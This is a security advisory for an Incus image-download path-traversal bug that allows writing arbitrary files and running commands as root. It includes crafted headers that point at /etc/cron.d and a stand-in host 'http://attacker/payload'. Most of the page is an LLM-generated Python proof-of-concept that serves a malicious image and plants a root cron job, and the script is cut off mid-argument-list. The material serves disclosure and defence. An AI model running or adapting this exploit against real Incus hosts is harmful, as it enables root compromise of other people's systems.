Go · github.com/lxc/incus/v7/cmd/incusd
Incus has an arbitrary file write on its client due to trusted image hash
An arbitrary file write exists in the Incus client when a malicious image server returns a crafted Incus-Image-Hash header. This can lead to arbitrary command execution as root on the server.
cmd/incusd/images.go:611-684 handles source.type=url by HEADing the user-supplied URL, reading Incus-Image-Hash and Incus-Image-URL, and passing them to imageDownload() as Alias and Server.cmd/incusd/daemon_images.go:91-92 defaults fp to the caller-controlled alias string.cmd/incusd/daemon_images.go:333-335 builds destName := filepath.Join(destDir, fp).cmd/incusd/daemon_images.go:469-523 enters the direct protocol branch, opens destName with os.Create(), and copies the HTTP response into that file.cmd/incusd/daemon_images.go:528-532 validates the SHA-256 only after the file has already been created and populated.cmd/incusd/daemon_images.go:337-344 cleanup only runs after the copy returns; a slow or held response extends the arbitrary-write window.A malicious image server returning something along the following will cause the arbitrary file write.
Incus-Image-Hash: ../../../../etc/cron.d/incus-direct-image-url-rce
Incus-Image-URL: http://attacker/payload
The script below creates a malicious image server and requests an Incus server to fetch the image. File write occurs when the image is unpacked.
The following script was generated by an LLM.
#!/usr/bin/env python3
"""Direct image URL hash path traversal to transient host cron write.
For `source.type=url`, Incus first HEADs an attacker-controlled URL and trusts the `Incus-Image-Hash` header as the expected fingerprint. The direct download path then creates `/var/lib/incus/images/<hash>` before validating that the hash is a real SHA-256 of the downloaded bytes. A hash containing `../` escapes the image directory.
Default mode is dry-run. With --execute-trigger this script starts a tiny HTTP server, returns a traversal hash pointing at cron, streams the cron payload, and keeps the response open so the daemon-side cleanup does not immediately remove the file.
"""
from __future__ import annotations
import argparse
import http.client
import json
import shlex
import socket
import ssl
import sys
import threading
import time
import urllib.parse
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
from typing import Any
DEFAULT_SOCKET = "/var/lib/incus/unix.socket"
DEFAULT_TRAVERSAL = "../../../../etc/cron.d/incus-direct-image-url-rce"
class UnixHTTPConnection(http.client.HTTPConnection):
def __init__(self, socket_path: str, timeout: int = 120):
super().__init__("incus", timeout=timeout)
self.socket_path = socket_path
def connect(self) -> None:
sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
sock.settimeout(self.timeout)
sock.connect(self.socket_path)
self.sock = sock
class RCEHTTPServer(ThreadingHTTPServer):
hash_path: str
advertise_url: str
payload: bytes
hold_seconds: int
payload_requested: threading.Event
class DirectImageHandler(BaseHTTPRequestHandler):
protocol_version = "HTTP/1.1"
server_version = "direct-image-rce/1.0"
def log_message(self, fmt: str, *args: Any) -> None:
print(f"[http] {self.address_string()} - {fmt % args}", flush=True)
def do_HEAD(self) -> None:
if self.path != "/stage":
self.send_error(404)
return
srv = self.server
assert isinstance(srv, RCEHTTPServer)
self.send_response(200)
self.send_header("Incus-Image-Hash", srv.hash_path)
self.send_header("Incus-Image-URL", srv.advertise_url.rstrip("/") + "/payload")
self.send_header("Connection", "close")
self.end_headers()
def do_GET(self) -> None:
if self.path != "/payload":
self.send_error(404)
return
srv = self.server
assert isinstance(srv, RCEHTTPServer)
srv.payload_requested.set()
self.send_response(200)
self.send_header("Content-Type", "application/octet-stream")
self.send_header("Cache-Control", "no-store")
self.end_headers()
self.wfile.write(srv.payload)
self.wfile.flush()
print(f"[*] payload bytes written to daemon response; holding for {srv.hold_seconds}s", flush=True)
time.sleep(srv.hold_seconds)
self.close_connection = True
def quote(value: str) -> str:
return urllib.parse.quote(value, safe="")
def tls_context(args: argparse.Namespace) -> ssl.SSLContext:
if args.insecure:
ctx = ssl._create_unverified_context()
else:
ctx = ssl.create_default_context(cafile=args.cacert)
if args.cert:
ctx.load_cert_chain(args.cert, args.key)
return ctx
def connection(args: argparse.Namespace) -> http.client.HTTPConnection:
if args.url:
parsed = urllib.parse.urlparse(args.url)
if parsed.scheme != "https":
raise ValueError("--url must use https")
return http.client.HTTPSConnection(
parsed.hostname,
parsed.port or 8443,
timeout=args.timeout,
context=tls_context(args),
)
return UnixHTTPConnection(args.socket, timeout=args.timeout)
def request_json(
args: argparse.Namespace,
method: str,
path: str,
obj: dict[str, Any] | None,
allow_error: bool = False,
) -> tuple[int, dict[str, Any]]:
body = None if obj is None else json.dumps(obj).encode("utf-8")
headers = {"Host": "incus"}
if body is not None:
headers["Content-Type"] = "application/json"
conn = connection(args)
conn.request(method, path, body=body, headers=headers)
resp = conn.getresponse()
raw = resp.read()
conn.close()
try:
data = json.loads(raw) if raw else {}
except json.JSONDecodeError:
data = {"raw": raw.decode("utf-8", "replace")}
if not allow_error and (resp.status >= 400 or data.get("type") == "error"):
raise RuntimeError(f"{method} {path} failed with HTTP {resp.status}: {data}")
return resp.status, data
def images_path(project: str) -> str:
return "/1.0/images?project=" + quote(project)
def cron_payload(command: str) -> bytes:
return f"* * * * * root /bin/sh -c {shlex.quote(command)}\n".encode("utf-8")
def image_url_body(project_url: str, public: bool) -> dict[str, Any]:
return {
"source": {
"type": "url",
"url": project_url.rstrip("/") + "/stage",
},
"public": public,
}
def start_server(args: argparse.Namespace, payload: bytes) -> RCEHTTPServer:
server = RCEHTTPServer((args.listen_host, args.listen_port), DirectImageHandler)
server.hash_path = args.hash_path
server.advertise_url = args.advertise_url
server.payload = payload
server.hold_seconds = args.hold_seconds
server.payload_requested = threading.Event()
thread = threading.Thread(target=server.serve_forever, daemon=True)
thread.start()
return server
def main() -> int:
parser = argparse.ArgumentParser(description="Incus direct image URL hash traversal cron RCE PoC")
parser.add_argument("--socket", default=DEFAULT_SOCKET, help="Incus Unix socket")
parser.add_argument("--url", help="remote Incus URL, for example https://host.ctf:8443")
parser.add_argument("--cert", help="client certificate for remote Incus")
parser.add_argument("--key", help="client private key for remote Incus")
parser.add_argument("--cacert", help="CA certificate for remote Incus")
parser.add_argument("--insecure", action="store_true", help="disable TLS verification")
parser.add_argument("--timeout", type=int, default=120, help="Incus request timeout")
parser.add_argument("--project", default="default", help="project used for image import")
parser.add_argument("--public", action="store_true", help="mark imported imag
Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.
Check my repoSources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.